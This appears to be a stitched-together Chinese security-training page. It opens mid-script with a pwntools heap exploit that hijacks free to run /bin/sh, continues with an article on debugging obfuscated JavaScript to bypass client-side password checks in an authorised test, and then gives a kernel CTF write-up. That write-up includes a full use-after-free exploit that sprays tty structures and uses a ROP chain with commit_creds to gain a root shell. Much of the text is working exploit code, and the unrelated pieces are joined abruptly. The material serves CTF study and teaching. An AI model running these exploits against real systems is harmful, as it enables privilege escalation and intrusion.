system=leak+libc.sym['system']
r.sendlineafter(menu,'666')
realloc(0x30,b'a')
realloc(0,"")
realloc(0xa0,b'a')
realloc(0,"")
realloc(0x10,b'b')#2
realloc(0,"")
realloc(0xa0,b'b')
for i in range(7):
dele()
realloc(0,"")
realloc(0x30,b'a')
payload=p64(0)*7+p64(0x71)+p64(free-8)
realloc(0x70,payload)
realloc(0,"")
realloc(0xa0,b'a')
realloc(0,"")
realloc(0xa0,b'/bin/sh\x00'+p64(system))
dele()
r.interactive()
for i in range(1):
try:
r=process("./pwn")
pwn()
break
except:
r.close()
渗透测试中的前端调试(一)
前言
前端调试是安全测试的重要组成部分。它能够帮助我们掌握网页的运行原理,包括js脚本的逻辑、加解密的方法、网络请求的参数等。利用这些信息,我们就可以更准确地发现网站的漏洞,制定出有效的攻击策略。前端知识对于安全来说,不但可以提高测试效率,还可以拓宽测试思路。
以下的一个案例是我在测试一个后台管理系统时遇到的问题,本来在登录页面通过js已经发现了接口和字段,但是请求的时候发现不是未授权漏洞,但是字段只有新密码和用户名,那么这个大概率是存在漏洞的。
正文
本次为授权测试,客户有提供账号密码。在后台的修改密码处:
JavaScript分析
当我输入正确密码时,又消失,说明存在校验。要么后端校验,要么前端校验。通过前面登录前的js内容,大致可以猜到这个就是前端校验。
我使用burp进行抓取数据包,发现没有请求通过:
说明大概率前端校验(也有可能是抓不到,但是概率很小)接下来就是要分析前端js了。这边我主要分析的是文本框的"与初始密码不一致"这个提示信息的判断逻辑:
我这边分析主要有两种方法:
①事件监听器:
通过事件监听器去找对应的js事件,通过正向去查看js,跟着对应的函数一层一层进行代码审计:
但是通过正向找过去,发现是经过多层调用的。且所有代码经过高度压缩混淆。
这时候还可以通过其他的按钮去找,大概率处理逻辑的js都是在一起的。当然只是可能。
找到提交按钮。
点击是会报错的。查看下这个提交的逻辑:
找到submit,去查看调用的js代码:
很不幸,还是这个混淆过的看不懂的js。按住ctrl还进不去函数,不知道为什么。GG。
②直接搜对应的关键字,去js里面翻
这个方法应该是大家比较常用的方法了。直接搜索关键字,比如加解密就直接搜索encrypt,一般都有效。
比如这边,可以直接搜索报错信息:与初始密码不一致:
找过去都是0。这时候就应该考虑,他是否有可能保存在css里面,或者使用urlencode或者Unicode编码。
(PS:因为没有对于后端请求,我们就不做从后端响应的情况假设。不然正常的字符串在前端找不到的情况下,有可能是后端返回的。)
先把这些字符转为Unicode编码查看。作为字符去查询的时候,建议不要全部字符去查询,因为有时候他可能会把对应的字符串分开放,或者做拼接。使用可以直接搜索比如不容易重复的几个关键字。比如这边的"一致"。
对于搜索,可以把js和html页面都代理从burp出去,然后使用burp自带的搜索,可能会比较方便。我这边就是采用这种方法进行查询:
很幸运,找到了!
+-----------------------------------------------------------------------+| function At(n, o) { || || 1 & n && (t.TgZ(0, "mat-hint"), || || t._uU(1, || "\u4e0e\u521d\u59cb\u5bc6\u7801\u4e0d\u4e00\u81f4"), || || t.qZA()) || || } || || function bt(n, o) { || || 1 & n && (t.TgZ(0, "mat-hint"), || || t._
可以看到js高度混淆。
对于审计很难。这边我们只需要查看是谁调用了这个函数,网上找这个逻辑即可。
有几种方法可以找到,这边借用new bing的回答:
您好,这是Bing。
根据我的搜索结果,有几种方法可以在Chrome中实现这个功能。我将为您介绍其中的一些方法:
1、使用Chrome开发者工具的搜索功能¹。您可以按下`ctrl + shift +F`(Windows)或`cmd + optn +F`(macOS)打开一个跨所有脚本的搜索窗口。然后,您可以勾选"正则表达式"复选框,并搜索函数的名称和定义方式。例如,如果您想要查找名为`foo`的函数,您可以搜索`foo\s*=\s*function`(表示`foo=function`之间有任意数量的空格)或者`function\s*foo\s*\(`(表示`functionfoo(`之间有任意数量的空格)。搜索结果将显示函数定义所在的脚本和位置,您可以点击它们跳转到相应的代码行。
2、使用Chrome开发者工具的调用栈功能。如果您想要查找一个函数是从哪里被调用的,您可以在函数体内部添加一个断点,然后运行代码。当代码执行到断点处时,开发者工具会暂停,并显示当前的调用栈。您可以在调用栈面板中查看函数被调用的顺序和位置,以及每个函数的参数和局部变量。
3、使用JavaScript代码获取函数的调用者³。如果您想要在代码中获取一个函数是从哪里被调用的,您可以使用`arguments.callee.caller`属性来访问当前函数的调用者。这个属性会返回一个函数对象,您可以使用它的`name`属性来获取函数的名称,或者使用它的`toString()`方法来获取函数的源代码。如果当前函数是从全局作用域被调用的,那么这个属性会返回`null`,您可以使用条件判断来处理这种情况。
我这边采用了第二点,可以在这边看到栈的调用。
成功找到密码判断点:
接下来就可以看你想改什么就改什么了。
JavaScript本地修改调试
找到对应函数后,接下来就是修改js里面的内容了。如果想修改js,在前端调试,需要在替换里面添加一个文件夹,然后在js编辑界面保存即可。保存成功会有紫色的小点点:
在js里面添加一个console.log,测试调试。触发该函数后,成功打印:
后续如果想通过前端绕过,可以同样去调试提交按钮。
结尾
可能有些人会说,这么麻烦去绕过做什么?本文只是讲解一些调试思路,和本次的漏洞没有太大关系,只是作为案例讲解。我本身不是做前端出身,主做分享使用。很多方面的知识我也是自己有接触到才去学习,可能对于一些大佬来说,这些都是很基础,勿喷。给自己挖个坑,如果本文反响不错的话,后续给大家分享一些遇到js前端加解密的web站点,该怎么去进行调试和测试。
通过复用TTY结构体实现提权利用
前言
UAF是用户态中常见的漏洞,在内核中同样存在UAF漏洞,都是由于对释放后的空间处理不当,导致被释放后的堆块仍然可以使用所造成的漏洞。
LK01-3
结合题目来看UAF漏洞
项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3
open模块
在执行open模块时会分配0x400大小的堆空间,并将地址存储在g_buf中
#define BUFFER_SIZE 0x400
char *g_buf = NULL;
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
read模块
在读模块中,会从用户空间中读取0x400字节到g_buf执行的堆空间中
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");
if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}
if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}
return count;
}
write模块
在写模块中,会从用户空间拷贝400字节数据到内核堆空间中
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");
if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}
if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
return count;
}
close模块
close模块会释放g_buf指向的堆块空间
static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}
漏洞分析
在读写模块中都限制了长度为0x400,这与一开始分配的堆空间大小一致,因此与LK01-2不同的是不存在堆溢出漏洞。但是在open模块中g_buf是唯一用来存储堆地址的变量,并且没有进行次数限制,那么就会导致多次调用open模块会使得存在多个指针指向同一块内存,若该内存被释放就会造成UAF漏洞。下图就是构造UAF漏洞的流程。
当把g_buf释放掉后,通过fd2文件描述符同样能够操控g_buf的空间,问题是该如何劫持程序流程,由于堆空间是通过slab分配器进行分配的,而slab还可而已进行缓存,因此g_buf被释放后会放进缓存中,而g_buf的大小为0x400这与tty结构体一致,因此此时通过堆喷确保g_buf被分配到tty结构体。构造uaf的代码如下。
...
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1);
for (int i = 0; i < 50; i++)
{
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
{
printf("error!\n");
exit(-1);
}
}
...
这里我有一个疑惑的点,在模块中的close函数仅仅只是释放了g_buf的堆内存并没有后续操作,因此在执行close(fd1)之后,是不是还能对文件描述符fd1进行操作,后来试验之后发现不行,查询资料得到,文件描述符的移除是内核默认操作与重定义模块的close操作无关。
在构造出UAF漏洞并进行堆喷之后,实际操作的g_buf指向的是tty的结构体,该结构体偏移0x18是一个函数表的操作指针,那么将该函数表修改为自定义的函数表即可。后续的操作与LK01-3一致,将指针操作修改为栈迁移到堆上,然后就是执行commit_creds(prepare_kernel_cred(0)),利用swapgs_restore_regs_and_return_to_usermode绕过kpti的保护。
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz \
-net nic,model=virtio \
-net user \
-s
exp
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
int spray[100];
//0xffffffff8114fbe8: add al, ch; push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret;
//0xffffffff8114078a: pop rdi; ret;
//0xffffffff81638e9b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
//0xffffffff810eb7e4: pop rcx; ret;
//0xffffffff81072560 T prepare_kernel_cred
//0xffffffff810723c0 T commit_creds
//0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
#define push_rdx_pop_rsp_offset 0x14fbe8
#define pop_rdi_ret_offset 0x14078a
#define pop_rcx_ret_offset 0xeb7e4
#define prepare_kernel_cred_offset 0x72560
#define commit_creds_offset 0x723c0
#define swapgs_restore_regs_and_return_to_usermode_offset 0x800e10
#define mov_rdi_rax_offset 0x638e9b
unsigned long user_cs, user_sp, user_ss, user_rflags;
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n", user_rflags);
printf("[#] backdoor: 0x%lx \n\n", backdoor);
}
int main() {
save_user_land();
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1);
for (int i = 0; i < 50; i++)
{
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
{
printf("error!\n");
exit(-1);
}
}
char buf[0x400];
read(fd2, buf, 0x400);
unsigned long *p = (unsigned long *)&buf;
//for (unsigned int i = 0; i < 0x80; i++)
// printf("[%x]:addr:0x%lx\n",i,p[i]);
unsigned long kernel_addr = p[3];
unsigned long heap_addr = p[7];
printf("kernel_addr:0x%lx\nheap_addr:0x%lx\n",kernel_addr,heap_addr);
unsigned long kernel_base = kernel_addr - 0xc39c60;
unsigned long g_buf = heap_addr - 0x38;
printf("kernel_base:0x%lx\ng_buf:0x%lx\n",kernel_base,g_buf);
*(unsigned long *)&buf[0x18] = g_buf;
p[0xc] = push_rdx_pop_rsp_offset + kernel_base;
//for (unsigned long i = 0xd; i < 0x80; i++)
// p[i] = i;
p[0x21] = pop_rdi_ret_offset + kernel_base;
p[0x22] = 0;
p[0x23] = prepare_kernel_cred_offset + kernel_base;
p[0x24] = pop_rcx_ret_offset + kernel_base;
p[0x25] = 0;
p[0x26] = mov_rdi_rax_offset + kernel_base;
p[0x27] = commit_creds_offset + kernel_base;
p[0x28] = swapgs_restore_regs_and_return_to_usermode_offset + 0x16 + kernel_base;
p[0x29] = 0;
p[0x2a] = 0;
p[0x2b] = (unsigned long)backdoor;
p[0x2c] = user_cs;
p[0x2d] = user_rflags;
p[0x2e] = user_sp;
p[0x2f] = user_ss;
write(fd2, buf, 0x400);
for (int i = 0; i < 50; i++)
ioctl(spray[i], 0, g_buf+0x100);
}
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

